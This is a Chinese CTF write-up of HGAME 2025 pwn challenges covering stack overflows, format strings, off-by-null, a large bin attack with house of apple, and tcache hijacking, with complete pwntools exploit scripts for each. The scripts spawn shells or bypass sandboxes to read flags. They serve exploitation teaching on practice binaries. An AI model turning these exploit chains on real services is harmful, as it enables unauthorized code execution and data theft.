HGAME 2025
第一周
counting petals
我们可以看到v7的有效位置是索引为0到16的区域, 但是当v8=16时, while循环最后一次会写在v7[17]的位置, 这个位置实际上存储的是v8和v9两个变量, 通过对v8和v9值的覆盖, 我们可以利用下面的输出内容泄露栈中的libc地址, 在第二次程序进入while循环覆盖v8和v9时, 在返回地址处构建ROP链, ret2libc
我们可以看到, 通过合理调整v8和v9我们可以泄露栈上数据, 140173885754768转为16进制为0x7F7CC6AACD90, 是__libc_start_call_main+128的地址, 我们可以计算libc基址, 进而再计算出system函数和/bin/sh字符串的地址
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
46 collapsed lines
16leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))17x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))18
19ru(b"this time")20sl(b"16")21for i in range(15):22 ru(b"the flower number")23 sl(str(i+1).encode())24ru(b"the flower number")25# pause()26sl(str(0x1300000013).encode())27ru(b"the latter")28sl(b"2")29ru(b"15 + ")30for i in range(3):31 ru(b" + ")32libc_base = int(ru(b" ")[:-1])-0x29d9033system = libc_base + libc.sym["system"]34bin_sh = libc_base + next(libc.search("/bin/sh"))35leak("libc",system)36leak("bin_sh",bin_sh)37
38rdi = libc_base + 0x02a3e539ret = libc_base + 0x02913940
41ru(b"this time")42sl(b"16")43for i in range(15):44 ru(b"the flower number")45 sl(str(i+1).encode())46ru(b"the flower number")47pause()48sl(str(0x1200000016).encode())49ru(b"the flower number 19")50sl(str(rdi).encode())51ru(b"the flower number 20")52sl(str(bin_sh).encode())53ru(b"the flower number 21")54sl(str(ret).encode())55ru(b"the flower number 22")56sl(str(system).encode())57
58ru(b"the latter")59sl(b"1")60
61ia()
ezstack
这道题的环境是用docker给的, 我们接下来看一下Dockerfile和start.sh, 接下来我先讲调试流程, 再讲攻击步骤
Dockerfile
1FROM ubuntu@sha256:8e5c4f0285ecbb4ead070431d29b576a530d3166df73ec44affc1cd27555141b2
3COPY ./start.sh /start.sh4
5COPY vuln /vuln6
7RUN chmod +x /start.sh8
9ENTRYPOINT ["/start.sh"]
start.sh
1#! /usr/bin/env sh2
3echo $FLAG > /flag4unset FLAG5
6/vuln7
8sleep infinity
我们可以看到, Dockerfile构建镜像, 再由镜像构建出容器, 容器中会包含本目录中的start.sh和vuln文件, 并且当我们访问容器时, 自动执行start.sh, 再由start.sh执行vuln来交互, 在创建docker容器时, 我们需要传入环境变量FLAG
我们再来看一下vuln文件
1int __fastcall __noreturn main(int argc, const char **argv, const char **envp)2{3 socklen_t addr_len; // [rsp+Ch] [rbp-44h] BYREF4 sockaddr addr; // [rsp+10h] [rbp-40h] BYREF5 int optval; // [rsp+2Ch] [rbp-24h] BYREF6 struct sockaddr s; // [rsp+30h] [rbp-20h] BYREF7 __pid_t v7; // [rsp+44h] [rbp-Ch]8 int v8; // [rsp+48h] [rbp-8h]9 int fd; // [rsp+4Ch] [rbp-4h]10
11 signal(17, (__sighandler_t)1);12 fd = socket(2, 1, 6);13 if ( fd < 0 )14 {15 perror("socket error");45 collapsed lines
16 exit(1);17 }18 memset(&s, 0, sizeof(s));19 s.sa_family = 2;20 *(_WORD *)s.sa_data = htons(0x270Fu);21 *(_DWORD *)&s.sa_data[2] = htonl(0);22 optval = 1;23 if ( setsockopt(fd, 1, 2, &optval, 4u) < 0 )24 {25 perror("setsockopt error");26 exit(1);27 }28 if ( bind(fd, &s, 0x10u) < 0 )29 {30 perror("bind error");31 exit(1);32 }33 if ( listen(fd, 10) < 0 )34 {35 perror("listen error");36 exit(1);37 }38 addr_len = 16;39 while ( 1 )40 {41 v8 = accept(fd, &addr, &addr_len);42 if ( v8 < 0 )43 break;44 v7 = fork();45 if ( v7 == -1 )46 {47 perror("fork error");48 exit(1);49 }50 if ( !v7 )51 {52 handler((unsigned int)v8);53 close(v8);54 exit(0);55 }56 close(v8);57 }58 perror("accept error");59 exit(1);60}
我们可以看到, 程序调用了0.0.0.0:9999这个端口, 实际上是通过这个接口与用户交互, 若用户连接到这个接口则会拷贝子进程, 在子进程中进入handler函数
因此在运行dockers容器时, 我们需要暴露容器的9999端口, 这样我们才能在容器外访问容器中的服务
具体流程如下:
docker build -t hgame_ezstack .
构建镜像
docker run -d -p 9999:9999 -e FLAG="flag{Im_in_docker}" --name ezstack hgame_ezstack
在后台运行容器, 将docker的9999端口映射到本机的9999端口, 传入FLAG作为容器中的环境变量
nc 127.0.0.1 9999
尝试连接服务, 若服务搭建成功则会出现回显
搭建环境成功后, 我们可以进入调试环节
这里有两种做法, 我们先讲第一种
如果所需环境无特殊修改, 可以将docker容器中的libc和ld等需要的文件通过docker cp
从docker中复制到本机上, 通过patchelf更换运行库后可以在本地运行, 这样就无需在docker中调试, 如图, 我将vuln文件重命名为pwn
我们先gdb ./pwn
来调试, 在gdb中设置set follow-fork-mode child
, 这样遇到fork()就会默认进入子进程
不断ni, 当程序卡在accept函数时, 新开一个终端, 在这个终端中nc 127.0.0.1 9999
当遇到read或write时, 可以停下查看fd, 未来都依靠这个fd与程序交互, 如果fd是4, 那么read写作read(4,buf,bytes)
, 这点很重要!!!
但是, 我们可以看到, gdb调出我们的fd是5…其实吧这是个雷点, 不知道我们本地运行的进程过多还是其他原因, 本地运行可执行文件就会出现有时fd是5, 有时fd又变成4…之前不知道, fd设置为5开始写程序, 然后本地打通了, 远端一直EOF, 一直到第二天发现本地攻击都不行了, gdb一调发现fd变成了4…
这算是一个本地调试的一个大雷点, 但是这并不意味着程序不能在本地调试了
接下来我们开三个终端, 第一个终端./pwn
运行pwn程序监听端口, 第二个终端./exp.py re ./pwn 127.0.0.1:9999
用程序与端口交互, 第三个终端先ps -aux | grep pwn
找到交互的子进程的pid, 然后gdb -p <pid>
直接将gdb连接到进程上去调试, 这样效果与平时调试差不多
第二种, 直接在docker中调试
由于docker中环境比较精简, 很多环境可能没有, 因此我们需要自己安装环境
由于很多环境没有, 也没有很长的时间让我们来配置环境, 因此我们不选用gdb+pwndbg插件的形式, 因为需要python安装各种环境浪费时间. 在新版本的pwndbg中, 可以用.deb包安装pwndbg, 这种形式的pwndbg作为一个独立软件存在
- 先
wget https://github.com/pwndbg/pwndbg/releases/download/2025.01.20/pwndbg_2025.01.20_amd64.deb
把deb包拉到本地(主要是可以放在本地备份多次使用) - docker cp指令复制到容器中
- 容器中
apt install ./pwndbg_2025.01.20_amd64.deb
安装pwndbg
之后在docker中使用pwndbg, 运行ELF文件时pwndbg ./vuln
, 调试进程先在docker中ps -aux
再pwndbg -p <pid>
剩余流程与第一种方法一样, 无非是调试时需要进入docker中调试, 这样调试有一个好处, 就是环境比较纯粹, 仅通过端口与主机交互, fd也不会轻易变动
可以调试后接下来进入正式攻击阶段, 我们可以看到handler函数存在沙箱, 禁用了execve和execveat, 也就是说需要我们使用ORW
接下来进入vuln函数, 发现存在栈溢出, 但是只能覆盖到返回地址
因此, 我们需要使用栈迁移, 可以返回到0x40140F的地址, 这样就可以利用rbp布置新栈的位置和内容, 在新栈中再次栈迁移, 运行栈前端布置的ROP链, 在本次题目中需要多次运用栈迁移来达到目的
我们之前说过, fd为4, 因此我们在设置新栈位置时也应确保每次0x40140F lea指令取出的值为4, 我们可以在可写段中找到gift, 我们可以以gift为起点栈迁移, 在每次栈迁移的空白数据处补充数据4, 以备之后的栈迁移
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
34 collapsed lines
16leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))17x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))18
19rdi = 0x40171320rsi_r15 = 0x40171121
22leave_ret = 0x4013cb23read_leave_ret = 0x40140F24ru(b"Good luck.")25pause()26s(b"A"*(0x50)+p64(0x404100+0x54)+p64(read_leave_ret))27pause()28payload = p64(rdi)+p64(4)+p64(rsi_r15)+p64(elf.got["write"])+p64(0)+p64(elf.sym["print"])+p64(elf.sym["vuln"])+p64(4)+p64(4)29s(b"/flag\x00\x00\x00"+(payload).ljust(0x48,b"C")+p64(0x404104)+p64(leave_ret))30libc_base = x64()-0x10e28031open_addr = libc_base + libc.sym["open"]32sendfile = libc_base + libc.sym["sendfile"]33leak("libc_base",libc_base)34leak("open",open_addr)35
36rdx_r12 = libc_base + 0x11943137
38# open39pause()40s(b"/flag\x00"+b"A"*(0x50-6)+p64(0x40414c+0x54)+p64(read_leave_ret))41payload = p64(rdi)+p64(0x404198)+p64(rsi_r15)+p64(0)+p64(0)+p64(open_addr)+p64(read_leave_ret)+p64(4)+b"/flag\x00\x00\x00"42s(p64(0x404190+0x54)+payload.ljust(0x48,b"C")+p64(0x404150)+p64(leave_ret))43# sendfile44pause()45payload = p64(rsi_r15)+p64(5)+p64(0)+p64(rdx_r12)+p64(0)+p64(0)+p64(sendfile)46s(b"A"*8+payload.ljust(0x48,b"C")+p64(0x404194)+p64(leave_ret))47
48
49ia()
因为空间局促, 我们采用open+sendfile来绕过沙箱, 同时由于每次输入会覆盖部分之前的输入, 因此我预写了数个/flag
字符串到内存中备用
format
这道题考察的是格式化字符串和整数溢出, 在第一次格式化字符串中, 我们只能读入三个字符的格式化字符串, 这对我们做出了限制, 因此我们先输入%p
, 先泄露一个栈地址.
当进入vuln时, 这里输入-1, 转换为unsigned int后会自动溢出, 这样就绕过了栈溢出时读入数据大小的限制
在栈溢出时, 我们可以尝试返回到0x4012CF的位置, 这样合理设置rbp的覆盖值后, 我们可以将输入的作为格式化字符串再次触发格式化字符串漏洞, 泄露libc地址, rbp的覆盖值可以通过第一次泄露的栈地址计算得出
泄露完libc地址后可以计算system和/bin/sh地址, 再次进入vuln函数时进行栈溢出ret2libc
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
39 collapsed lines
16leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))17x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))18
19ru(b"getshell")20sl(str(1).encode())21for i in range(1):22 ru(b"something:")23 sl(b"%p")24 ru(b"0x")25# print("stack = ",stack)26 stack = int(r(12),16)27 leak("stack",stack)28ru(b"n = ")29# pause()30sl(b"-1")31# ru(b"something:")32
33ret = 0x40101a34
35payload = b"A%3$p"+p64(stack+0x210c+0x10)+p64(0x4012CF)36sl(payload)37ru(b"0x")38libc_base = int(r(12),16)-0x1147e239system = libc_base + libc.sym["system"]40bin_sh = libc_base + next(libc.search("/bin/sh"))41rdi = libc_base + 0x02a3e542leak("libc_base",libc_base)43leak("system",system)44leak("bin_sh",bin_sh)45
46# ru(b"n = ")47# sl(b"-1")48ru(b"type something:")49# payload = b"A"*(4)+p64(rdi)+p64(bin_sh)+p64(ret)+p64(system)50payload = b"A"*4+b"BBBBBBBB"+p64(rdi)+p64(bin_sh)+p64(ret)+p64(system)51pause()52sl(payload)53
54ia()
第二周
这周题目没怎么仔细琢磨, 大致知道解法, 但是没有细看, 具体解法参考hgame2025 week2 pwn全题解
Signin2Heap
保护全开, 进IDA看一下
可以发现*((_QWORD *)&books + v1) = 0LL
所以不存在UAF
*(_BYTE *)(*((_QWORD *)&books + v2) + size_4) = 0
这个语句可以知道, 程序会在输入的最后加上一个\x00
如果实际上就是off-by-null
, 因为相邻的前一个堆块的实际使用区域包含后一个堆块的prev_size
区域, 因此当我们使用到该区域的最后一字节时, 自动添加的\x00
会覆盖到size
区域, 若堆块大小为0x101, 则可将0x101修改为0x100
思路:
- 申请三个堆块, malloc参数分别为0x80, 0x18, 0xf0, 这样申请到的堆块大小为0x90, 0x20, 0x100, 随后填满0x90和0x100的tcache bin, 随后释放第一个和第二个堆块, 再申请第二个堆块, 利用
off-by-null
修改prev_size
和size
, 再释放第三个堆块, 这样前三个堆块就合并成一个堆块并进入unsorted bin中, 但此时堆块二还处于申请的状态, 在变量books
中有记录
1add(0,0x80,b"AA")2add(1,0x18,b"BB")3add(2,0xf0,b"CC")4for i in range(7):5 add(i+3,0x80,b"DD")6for i in range(7):7 dele(i+3)8for i in range(7):9 add(i+3,0xf0,b"EE")10for i in range(7):11 dele(i+3)12
13dele(0)14dele(1)15add(1,0x18,p64(0)*2+p64(0xb0))1 collapsed line
16dele(2)
- 连续执行八次
malloc(0x80)
, 前七个堆块来自tcache bin, 最后一个堆块来自unsorted bin分割而来, 此时我们可以看到新生成的unsorted chunk的起始位置就是第一部中malloc(0x18)
所返回的堆块, 因此此堆块的userdata区域会写入一段libc地址, 因此打印此堆块即可泄露libc
1for i in range(8):2 add(i+3,0x80,b"AAAA")3show(1)4libc_base = x64()-0x3ebca05free_hook = libc_base + libc.sym["__free_hook"]6system = libc_base + libc.sym["system"]7leak("libc_base",libc_base)8leak("free_hook",free_hook)
- 接下来就想办法利用
fastbin
的double free
修改__free_hook
为system
地址完成攻击, 因为此时books[1]
的位置上的堆块还是在unsorted bin
中, 因此我们只需要申请比这个chunk
小的堆块, 即可实现从unsorted chunk
中分割, 以实现books[0]
的地址和books[1]
的地址相等, 我们选用malloc(0x30)
1add(0,0x30,b"AAAA")2for i in range(8):3 dele(i+3)4for i in range(9):5 add(i+3,0x30,b"BBBB")6for i in range(8):7 dele(i+3)8dele(0)9dele(11)10dele(1)11for i in range(7):12 add(i+3,0x30,b"BB")13add(0,0x30,p64(free_hook))14add(1,0x30,b"CC")15add(2,0x30,b"/bin/sh\x00")2 collapsed lines
16add(15,0x30,p64(system))17dele(2)
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
75 collapsed lines
16leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))17x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))18
19def cmd(i, prompt=b"Your choice:"):20 sla(prompt, i)21def add(idx,size,con):22 cmd(p32(1))23 ru(b"Index: ")24 sl(str(idx).encode())25 ru(b"Size: ")26 sl(str(size).encode())27 ru(b"Content: ")28 s(con)29def edit(addr):30 cmd(b"3")31 rl()32 rl()33 s(p64(addr))34 # ......35def show(idx):36 cmd(p32(3))37 ru(b"Index:")38 sl(str(idx).encode())39 # ......40def dele(idx):41 cmd(p32(2))42 ru(b"Index:")43 sl(str(idx).encode())44 # ......45
46add(0,0x80,b"AA")47add(1,0x18,b"BB")48add(2,0xf0,b"CC")49for i in range(7):50 add(i+3,0x80,b"DD")51for i in range(7):52 dele(i+3)53for i in range(7):54 add(i+3,0xf0,b"EE")55for i in range(7):56 dele(i+3)57
58dele(0)59dele(1)60add(1,0x18,p64(0)*2+p64(0xb0))61dele(2)62pause()63for i in range(8):64 add(i+3,0x80,b"AAAA")65show(1)66libc_base = x64()-0x3ebca067free_hook = libc_base + libc.sym["__free_hook"]68system = libc_base + libc.sym["system"]69leak("libc_base",libc_base)70leak("free_hook",free_hook)71pause()72add(0,0x30,b"AAAA")73for i in range(8):74 dele(i+3)75for i in range(9):76 add(i+3,0x30,b"BBBB")77for i in range(8):78 dele(i+3)79dele(0)80dele(11)81dele(1)82for i in range(7):83 add(i+3,0x30,b"BB")84add(0,0x30,p64(free_hook))85add(1,0x30,b"CC")86add(2,0x30,b"/bin/sh\x00")87add(15,0x30,p64(system))88dele(2)89
90ia()
Where is the vulnerability
将所给的文件全部patch上, 这道题实际上需要分析的文件是libchgame.so
, IDA打开后可以看到, malloc
的范围是0x500到0x900, 且存在UAF
同时libc版本为2.39-0ubuntu8.3, 高版本glibc无法打__malloc_hook
__free_hook
global_max_fast
, 同时无法使用unsorted bin attack
因此本道题使用large bin attack
修改_IO_list_all
, 用堆块伪造_IO_FILE_plus
和_IO_wide_data
, 利用house of apple
来实现功能
house of apple
触发流程:
-
将
_IO_list_all
指向堆块A (让A链入_IO_FILE
链表中) -
_flags
设置为~(2 | 0x8 | 0x800)
,如果是需要获取shell
的话,那么可以将参数写为sh;
这样_flags
既能绕过检查,又能被system
函数当做参数成功执行。需要注意的是sh;
前面是有两个空格的(这个值是0x3b68732020
) -
用堆块A伪造
_IO_FILE_plus
A->_wide_data = 堆块B
A->vtable = _IO_wfile_jumps
A->_mode = 0
A->_IO_write_ptr = 1
A->_IO_write_base = 0
A->_lock = 可写地址
-
堆块B伪造
_IO_wide_data
B->_IO_write_base = 0
B->_IO_buf_base = 0
B->_wide_vtable = backdoor-0x68
-
触发
exit
等函数
当调试中能进入backdoor函数时, 可以考虑后续攻击步骤, 因为程序存在沙箱, 因此需要ORW, 观察寄存器的值发现rax中的值可以利用, 可以找到如下gadget利用
1mov rdx, qword ptr [rax + 0x38]2mov rdi, rax3call qword ptr [rdx + 0x20]
通过gadget, 我们可以控制rdx, 同时通过偏移调用一个函数, 我选择调用setcontext+61
, 设置rsp rbp
, 实现栈迁移到一个堆块, 在堆块上布置ROP链以实现open+read+write
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
85 collapsed lines
16leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))17x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))18
19def cmd(i, prompt=b">"):20 sla(prompt, i)21def add(idx,size):22 cmd(b"1")23 ru(b"Index:")24 sl(str(idx).encode())25 ru(b"Size:")26 sl(str(size).encode())27 # ......28def edit(idx,con):29 cmd(b"3")30 ru(b"Index:")31 sl(str(idx).encode())32 ru(b"Content:")33 sl(con)34 # ......35def show(idx):36 cmd(b"4")37 ru(b"Index:")38 sl(str(idx).encode())39 # ......40def dele(idx):41 cmd(b"2")42 ru(b"Index:")43 sl(str(idx).encode())44 # ......45
46add(0,0x528)47add(1,0x500)48add(2,0x518)49add(3,0x500)50dele(0)51show(0)52libc_base = x64()-0x203b2053libc.address = libc_base54leak("libc_base",libc_base)55
56_IO_list_all = libc.sym["_IO_list_all"]57_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]58setcontext = libc.sym["setcontext"]59mprotect = libc.sym["mprotect"]60open_addr = libc.sym["open"]61read_addr = libc.sym["read"]62write_addr = libc.sym["write"]63system = libc.sym["system"]64leak("_IO_wfile_jumps",_IO_wfile_jumps)65gad1 = libc_base+0x176f0e66'''67gad1:68mov rdx, qword ptr [rax + 0x38]69mov rdi, rax70call qword ptr [rdx + 0x20]71'''72rdi = libc_base + 0x10f75b73rsi = libc_base + 0x110a4d74rdx_leave_ret = libc_base + 0x09819d75ret = libc_base + 0x10f75b + 176leak("rdi",rdi)77leak("rsi",rsi)78
79add(4,0x538)80dele(2)81edit(0,b"A"*24+p64(_IO_list_all-0x20))82add(5,0x538)83
84edit(2,b"A"*0x10)85show(2)86ru(b"A"*0x10)87heap_base = u64(r(6).ljust(8,b"\x00"))-0x20a88leak("heap_base",heap_base)89
90edit(2,flat({0x90:heap_base+0x7d0, 0xc8:_IO_wfile_jumps, 0xb0:0, 0x18:1, 0x10:0, 0x78:heap_base+0x2200, 0x4f8:heap_base+0x1200},filler=b"\x00"))91edit(1,flat({0x18:0, 0x30:0, 0xe0:heap_base+0x1200+8-0x68},filler=b"\x00"))92
93leak("gad1",gad1)94edit(3,flat({0:"/flag\x00", 0x8:gad1, 0x20:setcontext+61, 0xa0:heap_base+0x1710, 0xa8:ret, 0x78:heap_base+0x1760},filler=b"\x00"))95edit(4,flat(rdi, heap_base+0x1200, rsi, 0, open_addr, rdi, 3, rsi, heap_base+0x10, rdx_leave_ret, 100, read_addr, rdi, 1, write_addr))96
97pause()98cmd(b"5")99
100ia()
或者将shellcode
写在堆块中, 再调用mprotect
函数将堆块所在位置设为可读可写可执行, 随后返回到shellcode
所在位置
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
85 collapsed lines
16leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))17x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))18
19def cmd(i, prompt=b">"):20 sla(prompt, i)21def add(idx,size):22 cmd(b"1")23 ru(b"Index:")24 sl(str(idx).encode())25 ru(b"Size:")26 sl(str(size).encode())27 # ......28def edit(idx,con):29 cmd(b"3")30 ru(b"Index:")31 sl(str(idx).encode())32 ru(b"Content:")33 sl(con)34 # ......35def show(idx):36 cmd(b"4")37 ru(b"Index:")38 sl(str(idx).encode())39 # ......40def dele(idx):41 cmd(b"2")42 ru(b"Index:")43 sl(str(idx).encode())44 # ......45
46add(0,0x528)47add(1,0x500)48add(2,0x518)49add(3,0x500)50dele(0)51show(0)52libc_base = x64()-0x203b2053libc.address = libc_base54leak("libc_base",libc_base)55
56_IO_list_all = libc.sym["_IO_list_all"]57_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]58setcontext = libc.sym["setcontext"]59mprotect = libc.sym["mprotect"]60open_addr = libc.sym["open"]61read_addr = libc.sym["read"]62write_addr = libc.sym["write"]63system = libc.sym["system"]64leak("_IO_wfile_jumps",_IO_wfile_jumps)65gad1 = libc_base+0x176f0e66'''67gad1:68mov rdx, qword ptr [rax + 0x38]69mov rdi, rax70call qword ptr [rdx + 0x20]71'''72rdi = libc_base + 0x10f75b73rsi = libc_base + 0x110a4d74rdx_leave_ret = libc_base + 0x09819d75ret = libc_base + 0x10f75b + 176leak("rdi",rdi)77leak("rsi",rsi)78
79add(4,0x538)80dele(2)81edit(0,b"A"*24+p64(_IO_list_all-0x20))82add(5,0x538)83
84edit(2,b"A"*0x10)85show(2)86ru(b"A"*0x10)87heap_base = u64(r(6).ljust(8,b"\x00"))-0x20a88leak("heap_base",heap_base)89
90edit(2,flat({0x90:heap_base+0x7d0, 0xc8:_IO_wfile_jumps, 0xb0:0, 0x18:1, 0x10:0, 0x78:heap_base+0x2200, 0x4f8:heap_base+0x1200},filler=b"\x00"))91edit(1,flat({0x18:0, 0x30:0, 0xe0:heap_base+0x1200+8-0x68},filler=b"\x00"))92
93leak("gad1",gad1)94edit(3,flat({0x8:gad1, 0x20:setcontext+61, 0xa0:heap_base+0x1710, 0xa8:mprotect, 0x68:heap_base, 0x70:0x10000, 0x88:7},filler=b"\x00"))95edit(4,p64(heap_base+0x1718)+ShellcodeMall.amd64.cat_flag)96
97pause()98cmd(b"5")99
100ia()
Hit list
IDA打开, 发现又是一道菜单题
当malloc
失败时会进入gift
函数
因为只能利用一次gift
, 因此我们考虑挟持tcache_perthread_struct
来控制tcache
因为添加堆块时, 第一个堆块大小为0x20, 因此我们可以通过如下程序获取heap基地址
1add(111,b"AAAA",0x30,b"BBBB")2add(111,b"AAAA",0x30,b"BBBB")3dele(0)4dele(0)5add(111,b"C",0x20,b"D"*0x10)6show(0)7ru(b"D"*0x10)8heap_base = x64()-0x2d09leak("heap_base",heap_base)
利用unsorted chunk的分割特性, 我们可以泄露出libc基地址
1for i in range(9):2 add(222,b"CCCC",0x200,b"DDDD")3for i in range(8,0,-1):4 dele(i)5
6add(222,b"C"*8,0x40,b"D") # 从unsorted chunk中剪下来一块7show(2)8ru(b"C"*8)9libc_base = x64()-0x21ae4410environ = libc_base + libc.sym["environ"]11rdi = libc_base + 0x02a3e512ret = rdi+113system = libc_base + libc.sym["system"]14bin_sh = libc_base + next(libc.search("/bin/sh"))15leak("libc_base",libc_base)
挟持tcache_perthread_struct
, 让申请的堆块位于environ
附近可泄露出栈地址, 栈地址偏移找到函数的返回地址, 并在返回地址处布置ROP链
1cmd(b"1")2rl()3sl(str(333).encode())4rl()5sl(b"AAAA")6rl()7rl()8sl(str(-9).encode()) # 进入gift函数9ru(b"Memory allocation failed.")10# pause()11sl(hex(heap_base+0x10).encode())12pause()13add(555,b"\x01"+b"\x00",0x280,b"\x00"*15*8+p64(environ-0x10)+b"\x00"*0x138) # chunk 414# pause()15add(666,b"AAAA",0x10,b"YYYYYYYY")9 collapsed lines
16show(5)17ru(b"YYYYYYYY")18stack = x64()19leak("stack",stack)20# pause()21edit(4,1,b"\x00",0x280,p64(0)*2+p64(0x0001000000000000)+p64(0)*27+p64(stack-0x178))22pause()23payload = flat(rdi, bin_sh, ret, system)24add(666,b"ZZZZ",0x100,payload)
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
95 collapsed lines
16leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))17x64 = lambda : u64(r(6).ljust(8,b'\x00'))18
19def cmd(i, prompt=b"5. Exit"):20 sla(prompt, i)21def add(num, name, size, con):22 cmd(b"1")23 rl()24 sl(str(num).encode())25 rl()26 sl(name)27 rl()28 rl()29 sl(str(size).encode())30 ru(b">")31 s(con)32 # ......33def edit(idx, num, name, size, con):34 cmd(b"3")35 rl()36 sl(str(idx).encode())37 rl()38 sl(str(num).encode())39 rl()40 sl(name)41 rl()42 rl()43 sl(str(size).encode())44 ru(b">")45 sl(con)46 # ......47def show(idx):48 cmd(b"4")49 rl()50 sl(str(idx).encode())51 # ......52def dele(idx):53 cmd(b"2")54 ru(b"Index:")55 sl(str(idx).encode())56 # ......57
58add(111,b"AAAA",0x30,b"BBBB")59add(111,b"AAAA",0x30,b"BBBB")60dele(0)61dele(0)62add(111,b"C",0x20,b"D"*0x10)63show(0)64ru(b"D"*0x10)65heap_base = x64()-0x2d066leak("heap_base",heap_base)67
68for i in range(9):69 add(222,b"CCCC",0x200,b"DDDD")70for i in range(8,0,-1):71 dele(i)72
73add(222,b"C"*8,0x40,b"D") # 从unsorted chunk中剪下来一块74show(2)75ru(b"C"*8)76libc_base = x64()-0x21ae4477environ = libc_base + libc.sym["environ"]78rdi = libc_base + 0x02a3e579ret = rdi+180system = libc_base + libc.sym["system"]81bin_sh = libc_base + next(libc.search("/bin/sh"))82leak("libc_base",libc_base)83
84cmd(b"1")85rl()86sl(str(333).encode())87rl()88sl(b"AAAA")89rl()90rl()91sl(str(-9).encode()) # 进入gift函数92ru(b"Memory allocation failed.")93# pause()94sl(hex(heap_base+0x10).encode())95pause()96add(555,b"\x01"+b"\x00",0x280,b"\x00"*15*8+p64(environ-0x10)+b"\x00"*0x138) # chunk 497# pause()98add(666,b"AAAA",0x10,b"YYYYYYYY")99show(5)100ru(b"YYYYYYYY")101stack = x64()102leak("stack",stack)103# pause()104edit(4,1,b"\x00",0x280,p64(0)*2+p64(0x0001000000000000)+p64(0)*27+p64(stack-0x178))105pause()106payload = flat(rdi, bin_sh, ret, system)107add(666,b"ZZZZ",0x100,payload)108
109
110ia()